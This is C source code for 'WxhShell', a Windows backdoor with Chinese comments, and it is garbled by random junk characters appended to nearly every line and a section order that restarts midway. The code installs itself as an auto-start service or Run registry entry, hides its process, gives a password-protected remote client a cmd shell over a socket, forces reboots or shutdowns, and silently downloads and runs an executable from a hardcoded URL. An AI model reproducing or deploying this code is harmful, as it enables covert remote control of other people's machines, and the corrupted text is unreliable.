    else { Evq IcZ  
    closesocket(wsh); QO:!p5^:  
    ExitThread(0); VBlYvZ;$*  
    } nF]W,@u"h  
    break; C[AqFo  
    } "S]0  
  // 关机 )r?}P1J7  
  case 'd': { p<FzJ   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $99n&t$Y  
    if(Boot(SHUTDOWN)) }"H,h)T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m])y.T  
    else { k .;j  
    closesocket(wsh); @i_FTN  
    ExitThread(0); ~vhE|f  
    } $rBq"u=,0+  
    break; Et_bH%0  
    } 6Pnjmw.HV  
  // 获取shell (8DC}kckE  
  case 's': { :S83vE81WK  
    CmdShell(wsh); |Zpfq63W  
    closesocket(wsh); \:'/'^=#|  
    ExitThread(0); #Vt%@* i  
    break; O6 3<AY@  
  } jOunWv|  
  // 退出 nHAS(  
  case 'x': { 9L?.m&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OZF rtc+  
    CloseIt(wsh); pj{`'; :g  
    break; IMFDM."s  
    } U$.@]F4&  
  // 离开 d L 1tl  
  case 'q': { /t57!&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aiUY>M#|  
    closesocket(wsh); dq6m>;`  
    WSACleanup(); N)|yu1S  
    exit(1); k Z .gO  
    break; \ZFGw&yN  
        } }OR@~V{Gj  
  } "Yv_B3p   
  } qJs<#MQ2  
wk D^r(hiH  
  // 提示信息 1CD+B=pQG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xaq-.IQAM$  
} $<dH?%!7  
  } 25nt14Y 0u  
G\/zkrxmv  
  return; F 5bj=mI  
} ITE{@1  
?K$(817  
// shell模块句柄 6"L cJ%o  
int CmdShell(SOCKET sock) a?I= !js  
{ 8\@m - E!{  
STARTUPINFO si; }>pknc?  
ZeroMemory(&si,sizeof(si)); !=*g@mgF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [i21FX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GfxZ'VIn  
PROCESS_INFORMATION ProcessInfo; E<{ R.r  
char cmdline[]="cmd"; APn|\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aD<A.Lhy  
  return 0; )Ys x}vSZ  
} VZp5)-!\  
=57>!)  
// 自身启动模式 [N-Di"  
int StartFromService(void) KB3Htw%W[+  
{ e/KDw  
typedef struct rT=rrvV3g  
{ j"t(0 m  
  DWORD ExitStatus; OZb-:!m*  
  DWORD PebBaseAddress; /QK6Rac-  
  DWORD AffinityMask; +xh`Q=A  
  DWORD BasePriority; G)AqbY  
  ULONG UniqueProcessId; zq 3\}9  
  ULONG InheritedFromUniqueProcessId; =J]&c?I  
}   PROCESS_BASIC_INFORMATION; 7cuE7"  
yJ[0WY8<kC  
PROCNTQSIP NtQueryInformationProcess; 6+:iy'-  
s$zLiQF;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |0&IXOW"XF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]{;gw<T  
+C^nO=[E  
  HANDLE             hProcess; HDz5&7* .  
  PROCESS_BASIC_INFORMATION pbi; j"8ZM{aO  
{UX!go^J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lB8-Z ow  
  if(NULL == hInst ) return 0; bt@< ut\  
pE3?"YO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y B81f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u%GEqruo[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PF0_8,@U  
O0*p0J  
  if (!NtQueryInformationProcess) return 0; k`cfG\;r  
Zcey|m*|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OW&!at  
  if(!hProcess) return 0; 1>.Ev,X+e  
h,(26 y/s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Ea b j  
A\*>TN>s  
  CloseHandle(hProcess); &.F4 b~A7  
h! ,v/7=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a)!o @  
if(hProcess==NULL) return 0; av(6wht8  
;'gWu  
HMODULE hMod; Yz9owe8}[  
char procName[255]; Hkg2P ,2  
unsigned long cbNeeded; NYhB'C2  
Q@=Q0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ynp8r f  
i[i4h"$0  
  CloseHandle(hProcess); M+oHtX$  
.zf~.R;>  
if(strstr(procName,"services")) return 1; // 以服务启动 S0$8@"~=  
]|#+zx|/D  
  return 0; // 注册表启动 B  5L2<  
} UklUw  
T%+ #xl  
// 主模块 //B&k`u  
int StartWxhshell(LPSTR lpCmdLine) z,RhYm  
{ Xa[.3=bV?  
  SOCKET wsl; iG $!6;w<  
BOOL val=TRUE; L]7=?vN=8  
  int port=0; 53_Hl]#qZ  
  struct sockaddr_in door; K&u_R  
C-xr"]#]  
  if(wscfg.ws_autoins) Install(); vN}#Kc\  
n>z9K')  
port=atoi(lpCmdLine); UJUEYG  
4>YR{  
if(port<=0) port=wscfg.ws_port; F k7?xc  
qyb?49I  
  WSADATA data; _=>He=v/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TT%M' 5&  
5{TsiZh4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +SzU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |*Yr<zt  
  door.sin_family = AF_INET; BX/8O<s0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Rb9|`6  
  door.sin_port = htons(port); wKh4|Ka  
PxX 4[ P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  y`iBFC;_  
closesocket(wsl); JBj]najN  
return 1; 8bGd} (  
} /A\8 mL8  
S)(.,x  
  if(listen(wsl,2) == INVALID_SOCKET) { pp?D7S  
closesocket(wsl); _`$qBw.Nx  
return 1; eSn+B;  
} Xfc-UP|}  
  Wxhshell(wsl); bG"~"ipn%  
  WSACleanup(); t|?ez4/{z  
AF{\6<m  
return 0; $GV7o{"&  
Y;eZ9|Ht9  
} MR7}s4o  
5&g@3j]  
// 以NT服务方式启动 @)+AaC#-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &A/]pi-\  
{ uh_RGM&  
DWORD   status = 0; nbp=PzZy  
  DWORD   specificError = 0xfffffff; 2ACCh4(/P  
nUr5Qn?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2>9C-VL2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .~db4d]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <V'@ks%  
  serviceStatus.dwWin32ExitCode     = 0; \&:nFb%=  
  serviceStatus.dwServiceSpecificExitCode = 0; ~G p [_ %K  
  serviceStatus.dwCheckPoint       = 0; OnziG+ak  
  serviceStatus.dwWaitHint       = 0; 0 JS?;fk  
X #dmo/L8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]]![EHi(\  
  if (hServiceStatusHandle==0) return; A|[?#S((]  
# +>oZWVc  
status = GetLastError(); iXkF1r]i  
  if (status!=NO_ERROR) iU918!!N   
{ +QavYqPF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eIF5ZPSZi  
    serviceStatus.dwCheckPoint       = 0; yN0Vr\r2  
    serviceStatus.dwWaitHint       = 0; Ty\R=y}}  
    serviceStatus.dwWin32ExitCode     = status; n80?N}  
    serviceStatus.dwServiceSpecificExitCode = specificError; M^Yh|%M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q_8+HEvo  
    return; FXCMR\BsQ  
  } 5~U/   
+/7?HGf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \\ij(>CI  
  serviceStatus.dwCheckPoint       = 0; P5V}#;v  
  serviceStatus.dwWaitHint       = 0; "{+QW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c]<5zyl"j1  
} g =hg%gRy"  
F<1fX7c  
// 处理NT服务事件,比如:启动、停止 @;4zrzQi7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h*a(_11  
{ bs&43Ae  
switch(fdwControl) n6>#/eUH  
{ iMh#TUlQEQ  
case SERVICE_CONTROL_STOP: =BeygT^  
  serviceStatus.dwWin32ExitCode = 0; K3m/(jdO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @bLy,Xr&  
  serviceStatus.dwCheckPoint   = 0; xa*hi87L*  
  serviceStatus.dwWaitHint     = 0; dQX6(J j  
  { ]0OR_'?,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c#]4awHU  
  } 3&4(ZH=  
  return; E=Bf1/c\  
case SERVICE_CONTROL_PAUSE: y<3-?}.aZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "{xrL4BtC  
  break; 'oVx#w^mf  
case SERVICE_CONTROL_CONTINUE: 3M`M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ +\dz  
  break; hfB%`x#akQ  
case SERVICE_CONTROL_INTERROGATE: ;;t yoh~t  
  break; E&w7GZNt  
}; _61gF[r4!Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |-ALklXr  
} $HzBD.CF|x  
 K5 z<3+  
// 标准应用程序主函数 DCa^ u'f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]/6z; ~3U  
{ j;r-NCBnz  
!BF; >f`  
// 获取操作系统版本 wHLLu~m\  
OsIsNt=GetOsVer(); &-w Cvp7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jpq~  
M _f:A  
  // 从命令行安装 .{^5X)  
  if(strpbrk(lpCmdLine,"iI")) Install(); e9tjw[+A  
gJ{)-\  
  // 下载执行文件 B[Scr5|  
if(wscfg.ws_downexe) { gQuw1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @mBQ?; qlK  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]W!0$'o  
} $PPi5f}HD  
u=sp`%?  
if(!OsIsNt) { ?V=ZIGj  
// 如果时win9x,隐藏进程并且设置为注册表启动 3"e,q Y  
HideProc(); +\A,&;!SR  
StartWxhshell(lpCmdLine); <lPG=Xt  
} 6 "sSoj  
else `h\j99  
  if(StartFromService()) {P./==^0  
  // 以服务方式启动 Llo"MO*sr  
  StartServiceCtrlDispatcher(DispatchTable); 'H!Uh]!  
else !pW0qX\1n  
  // 普通方式启动 tNI^@xdim1  
  StartWxhshell(lpCmdLine); )akoa,#%6c  
m(!FHPvN  
return 0; %$L{R  
} L2z[   
# W']6'O  
Sm|6 %3  
2ilQXy  
=========================================== u#.2w)!D  
r19 pZAc  
t~XN}gMxw  
`^&OF u ee  
T5h H  
Y3b *a".X  
" z:*|a+cy  
,O(hMI85]  
#include <stdio.h> wHy!CP%  
#include <string.h> R/YqyT\SM  
#include <windows.h> SJ,v?=S!  
#include <winsock2.h> $& td=OK  
#include <winsvc.h> ux4POO3C|  
#include <urlmon.h> GTd,n=  
0(HU}I  
#pragma comment (lib, "Ws2_32.lib") 7. oM J  
#pragma comment (lib, "urlmon.lib") 02^rV*re  
O0.*Pmt  
#define MAX_USER   100 // 最大客户端连接数 hgq;`_;1,  
#define BUF_SOCK   200 // sock buffer >[#f\bG>  
#define KEY_BUFF   255 // 输入 buffer <5051U Eu  
n[rCQdM&U"  
#define REBOOT     0   // 重启 h_'*XWd@  
#define SHUTDOWN   1   // 关机 2^7`mES  
z{QqY.Gu{G  
#define DEF_PORT   5000 // 监听端口 GbI/4<)l}  
z24q3 3O  
#define REG_LEN     16   // 注册表键长度 [/r(__.  
#define SVC_LEN     80   // NT服务名长度 H5|;{q:j  
J&_n9$  
// 从dll定义API @0''k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e0 ecD3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K&-"d/QuLg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?@x/E&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3v-~K)hl?  
+}AI@+  
// wxhshell配置信息 {qVZNXDn  
struct WSCFG { #'`{Qv0,  
  int ws_port;         // 监听端口 %hP^%'G  
  char ws_passstr[REG_LEN]; // 口令 A#,ZUOPGH  
  int ws_autoins;       // 安装标记, 1=yes 0=no t uX|\X  
  char ws_regname[REG_LEN]; // 注册表键名 xE}>,O|'q  
  char ws_svcname[REG_LEN]; // 服务名 c71y'hnT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 * T1_;4i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x+]"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %C]>9."  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4+tEFxvX&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3so %gvY.'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  M6TD"-  
/$m;y[[  
}; DmcZta8n]  
fP1! )po  
// default Wxhshell configuration ar,7S&s H  
struct WSCFG wscfg={DEF_PORT, ~TtiO#,t  
    "xuhuanlingzhe", n6 v6K1  
    1, %TqC/c  
    "Wxhshell", &^nGtW%a 9  
    "Wxhshell", U0+-W07>  
            "WxhShell Service", O6Y0XL  
    "Wrsky Windows CmdShell Service", rC5O")I<  
    "Please Input Your Password: ", HaYo!.(Fv  
  1, dRMx[7jVA  
  "http://www.wrsky.com/wxhshell.exe", ,r}6iFu  
  "Wxhshell.exe" \2z>?i)  
    }; qQa}wcU'9p  
-\MG}5?!  
// 消息定义模块 $[|mGae  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "N#Y gSr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 E= L8<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +C)~bb*  
char *msg_ws_ext="\n\rExit."; qP ,EBE  
char *msg_ws_end="\n\rQuit."; ~#/  
char *msg_ws_boot="\n\rReboot..."; 05R@7[GWq  
char *msg_ws_poff="\n\rShutdown..."; y7<|_:00  
char *msg_ws_down="\n\rSave to "; TA\vZGJ('  
ry]l.@o;  
char *msg_ws_err="\n\rErr!"; TqQ[_RKg2  
char *msg_ws_ok="\n\rOK!"; ?]5qr?W%  
_0I@xQj-  
char ExeFile[MAX_PATH]; F"kAkX>3}  
int nUser = 0; 8EYkQ  
HANDLE handles[MAX_USER]; Ul# r  
int OsIsNt; "  1tH  
&&%H%9  
SERVICE_STATUS       serviceStatus; s#MPX3itK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G/W>S,(  
fV~~J2IK  
// 函数声明 .Y|!:t|  
int Install(void); X-/]IH DN  
int Uninstall(void); (?];VG  
int DownloadFile(char *sURL, SOCKET wsh); BLFdHB.$T  
int Boot(int flag); tX[WH\(xI  
void HideProc(void); b MBLXk  
int GetOsVer(void); MfkZ  
int Wxhshell(SOCKET wsl); d=^z`nt !R  
void TalkWithClient(void *cs); 4z)]@:`}z  
int CmdShell(SOCKET sock); 1mJ Hued=6  
int StartFromService(void); < Z$J<]I  
int StartWxhshell(LPSTR lpCmdLine); }2oc#0  
(% 9$!v{3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 13f)&#, F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ('~LMu_  
[hs ds\  
// 数据结构和表定义 $ Q0n  
SERVICE_TABLE_ENTRY DispatchTable[] = f mGc^d|=  
{ !9x}  
{wscfg.ws_svcname, NTServiceMain}, =V5%+/r+f  
{NULL, NULL} 8Y?;x}  
}; s^SJY{  
B<-Wea  
// 自我安装 7z-[f'EIUI  
int Install(void) :EyD+!LJ  
{ %)n=x ne  
  char svExeFile[MAX_PATH]; 7Lt)nq-b  
  HKEY key; I:.s_8mH}  
  strcpy(svExeFile,ExeFile); ?Ob3tUz2  
zreU')a  
// 如果是win9x系统,修改注册表设为自启动 j.YA 2mr  
if(!OsIsNt) { ;rS{:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  _4f;<FL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j!ch5A  
  RegCloseKey(key); ~s{$WL&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $8FUfJ1@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E_`=7 i  
  RegCloseKey(key); 3a|\dav%  
  return 0;  3CJwj  
    } nP$9CA  
  } ;Qq\DFe.w  
} =Sv/IXX\di  
else { [ 3HfQ  
\DzGQ{`~m  
// 如果是NT以上系统,安装为系统服务 Q.[0ct  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +v\oOBB)  
if (schSCManager!=0) 5X+A"X ;C  
{ 9VT;ep  
  SC_HANDLE schService = CreateService o}!PQ#`M  
  ( h$*!8=M  
  schSCManager, W4N{S.#!  
  wscfg.ws_svcname, fZ. ONq  
  wscfg.ws_svcdisp, b]y2+A.n  
  SERVICE_ALL_ACCESS, _j3fAr(V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;bG>ZqJCVA  
  SERVICE_AUTO_START, g5yJfRLxp  
  SERVICE_ERROR_NORMAL, "oD[v  
  svExeFile, $^ P0F9~0  
  NULL, #`IN`m|  
  NULL, =Uh$&m  
  NULL, m2o0y++TjW  
  NULL, 9gFUaDLo  
  NULL >/|*DI-HJ  
  ); OY d !v`<  
  if (schService!=0) putrSSL}  
  { grYe&(`X  
  CloseServiceHandle(schService); / +\9S  
  CloseServiceHandle(schSCManager); TN.rrop`#g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ] @'!lhLi  
  strcat(svExeFile,wscfg.ws_svcname); E3i4=!Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y} /-C3)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . ^u,.  
  RegCloseKey(key); M{\I8oOg  
  return 0; J1vR5wbu  
    } /mMV{[  
  } rZF*q2?  
  CloseServiceHandle(schSCManager); hc1N ~$3!G  
} j6YOKJX  
} TJN4k@\$2  
?CZd Ol  
return 1; (ZGbh MK  
} nu^436MSOa  
Z.WW(C.  
// 自我卸载 4JEpl'5^Q  
int Uninstall(void) nNm`Hfi  
{ :Al!1BJQ  
  HKEY key; m[$_7a5  
-} +[  
if(!OsIsNt) { 5\v3;;A[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *#2h/Q.  
  RegDeleteValue(key,wscfg.ws_regname); yX5\gO6G  
  RegCloseKey(key); @7u0v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >usL*b0%  
  RegDeleteValue(key,wscfg.ws_regname); 43w}qY1  
  RegCloseKey(key); G B^Br6  
  return 0; W/ \g~=vo  
  } 5N]"~w*  
} \^LFkp  
} B:<VA=  
else { Y@v>FlqI{  
;|RTx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }qUX=s GG  
if (schSCManager!=0) &[9709 (=  
{ 0"R|..l/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TzZq(? V  
  if (schService!=0) xG 1n GO  
  { 3R/bz0 V>  
  if(DeleteService(schService)!=0) { xLE)/}y_7H  
  CloseServiceHandle(schService); [;N'=]`  
  CloseServiceHandle(schSCManager); 3^ClAE"8  
  return 0; TvM~y\s  
  } eE Kf|I  
  CloseServiceHandle(schService); k+ /6$pI  
  } MA\V[32H  
  CloseServiceHandle(schSCManager); ]|@^1we  
} /1 dT+>  
} ~Ei<Z`3}7"  
VUc%4U{Cti  
return 1; K"6vXv4QO  
} :0/ 7,i  
x^ni1=kU  
// 从指定url下载文件 A,]h),b  
int DownloadFile(char *sURL, SOCKET wsh) $qiya[&G4  
{ x;S @bY  
  HRESULT hr; FmW(CGs  
char seps[]= "/"; aXVFc5C\  
char *token;  G*m 0\  
char *file; 3$tdwe$S  
char myURL[MAX_PATH]; ?< />Z)  
char myFILE[MAX_PATH]; F [M,]?   
%>yL1BeA4  
strcpy(myURL,sURL); ' QG?nu  
  token=strtok(myURL,seps); 29rX%09T]  
  while(token!=NULL) 0sqFF[i  
  { F2WKd1U  
    file=token; H|*m$| $,  
  token=strtok(NULL,seps); 5R-6ji  
  } XX@ZQcN  
7/H)Az@i45  
GetCurrentDirectory(MAX_PATH,myFILE); r$1Qf}J3=  
strcat(myFILE, "\\"); .H|-_~Yx|  
strcat(myFILE, file); ixFi{_  
  send(wsh,myFILE,strlen(myFILE),0); d$RIS+V  
send(wsh,"...",3,0); #R"*c hLV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b-DvW4B  
  if(hr==S_OK)  g(052]  
return 0; >%G1"d?j  
else @- xjfC\d  
return 1; /(cPfZZ  
QY/w  
} ZH8,K Y"  
2:kH[#  
// 系统电源模块 >j/w@Fj  
int Boot(int flag) s#11FfF`  
{ Tx D#9]Q`  
  HANDLE hToken; WMdg1J+~  
  TOKEN_PRIVILEGES tkp; D^O@'zP=At  
NOva'qk  
  if(OsIsNt) {  )2.Si#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N['  .BN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fex@,I&  
    tkp.PrivilegeCount = 1; ? k/`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Upe%rC(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DU S6SO  
if(flag==REBOOT) { J zl6eo[;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CrLrw T  
  return 0; }tz7b#  
} 0S"MC9beg  
else { ;I}fBZ 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l **X^+=$  
  return 0; se)TzI^]b@  
} )e{aN+  
  } "sTRS*  
  else { aUp g u"  
if(flag==REBOOT) { r@V!,k#S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iTwm3V P  
  return 0; `3pW]&  
} Ac@VGT:9  
else { 3BI1fXT4=j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7! Nsm  
  return 0; 1?}T=)3+$  
} HN"Z]/ 5j  
} h{Y",7] !  
e+WNk 2  
return 1; ]gOy(\B  
} 1Mzmg[L8  
as|<}:V  
// win9x进程隐藏模块  ?9/G[[(  
void HideProc(void) 4RO}<$Nx}  
{ ]^E?;1$f?  
**%37  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~ljXzD93Z  
  if ( hKernel != NULL ) 3fj4%P"  
  { {) XTk &"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K?;DMUSY\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C dn J&N{  
    FreeLibrary(hKernel); [y(MCf19  
  } [0!(xp^  
3og.y+.=U.  
return; D*jM1w_`  
} 04ui`-c(  
( .:e,l{U%  
// 获取操作系统版本 e'~3oqSvR  
int GetOsVer(void) WWY6ha  
{ 7Q 3k 7  
  OSVERSIONINFO winfo; m O_af  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y29m/i:  
  GetVersionEx(&winfo); 6k%f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J.a]K[ci  
  return 1; )=+|i3]U  
  else G|Ti4_w  
  return 0; /~1+i'7V.,  
} =_CzH(=f#  
dtDFoETz  
// 客户端句柄模块 Wtnfa{gP%  
int Wxhshell(SOCKET wsl) .-zom~N-?  
{ UQsN'r\tS  
  SOCKET wsh; -"x$ZnHU  
  struct sockaddr_in client; /vt3>d%B;  
  DWORD myID; 6tZI["\   
KI.unP%  
  while(nUser<MAX_USER) w0. u\  
{ 0-gAyiKx?  
  int nSize=sizeof(client); +A+)=/i;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HS$r8`S?)  
  if(wsh==INVALID_SOCKET) return 1; h[ ZN+M  
Py< }S-:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u8^lB7!e/  
if(handles[nUser]==0) WH\d| 1)  
  closesocket(wsh); bA 2pbjg=  
else gYj'(jB  
  nUser++; / {%%"j  
  } P?<y%c<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SbZ6t$"  
f);FoVa6  
  return 0; z:O8Ls^\T  
} @EAbF>>  
"@kaHIf[  
// 关闭 socket `cO:<^%  
void CloseIt(SOCKET wsh) iU-j"&L5  
{ 7)m9"InDI  
closesocket(wsh); xno\s.H%]  
nUser--; ICCc./l|  
ExitThread(0); reVgqYp{{-  
} (H]AR8%W  
+\'t E~V  
// 客户端请求句柄 BUFv|z+H  
void TalkWithClient(void *cs) %y@AA>x!  
{ 1M-pr 8:6s  
^Cmyx3O^  
  SOCKET wsh=(SOCKET)cs; 6~{C.No}  
  char pwd[SVC_LEN]; eyaNs{TV  
  char cmd[KEY_BUFF]; c> af  
char chr[1]; B!yr!DWv  
int i,j; X]=t>   
|{;G2G1[  
  while (nUser < MAX_USER) { ^aQ"E9  
Cw%{G'O   
if(wscfg.ws_passstr) { $( )>g>%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bx!-"e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -di o5a  
  //ZeroMemory(pwd,KEY_BUFF); !wNO8;(  
      i=0; ]9L oZ)  
  while(i<SVC_LEN) { 4 :=]<sc,  
{*KEP  
  // 设置超时 BY*Q_Et  
  fd_set FdRead; h![#;>(  
  struct timeval TimeOut; +"(jjxJm  
  FD_ZERO(&FdRead); zX~MC?,W1  
  FD_SET(wsh,&FdRead); yVc(`,tZ(  
  TimeOut.tv_sec=8; edV\-H5<  
  TimeOut.tv_usec=0; 4YHY7J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zQA`/&=Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zzz3Bq~  
-8Xf0_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BHw, 4#F1;  
  pwd=chr[0]; ]9X DS[<2`  
  if(chr[0]==0xd || chr[0]==0xa) { _U0f=m  
  pwd=0; eFAnFJ][L  
  break; 6RM/GM  
  } p7Cs.2>M>S  
  i++; __@BUK{q  
    } &{RDM~  
Ah<+y\C  
  // 如果是非法用户,关闭 socket -+5>|N#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6#yUc_5 \  
} b\ PgVBf9  
iUwzs&frd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]~%6JJN7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RyNs6  
jIF |P-  
while(1) { e%6QTg5#  
w:l"\Tm  
  ZeroMemory(cmd,KEY_BUFF); 6Iw\c  
6,uX,X5  
      // 自动支持客户端 telnet标准   x:7IIvP  
  j=0; CNIsZ v@Q  
  while(j<KEY_BUFF) { J=L5=G7(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B;WCTMy}  
  cmd[j]=chr[0]; , dp0;nkr  
  if(chr[0]==0xa || chr[0]==0xd) { L]Mo;kT<Q  
  cmd[j]=0; Wvqhl 'J  
  break; Il.K"ll  
  } %UM *79  
  j++; tjnIN?YT  
    } >j`qh:^  
Jo}eeJ;k  
  // 下载文件 QM]YJr3r E  
  if(strstr(cmd,"http://")) { e|9 A716x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "] iB6  
  if(DownloadFile(cmd,wsh)) .~}1+\~5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pNIf=lA  
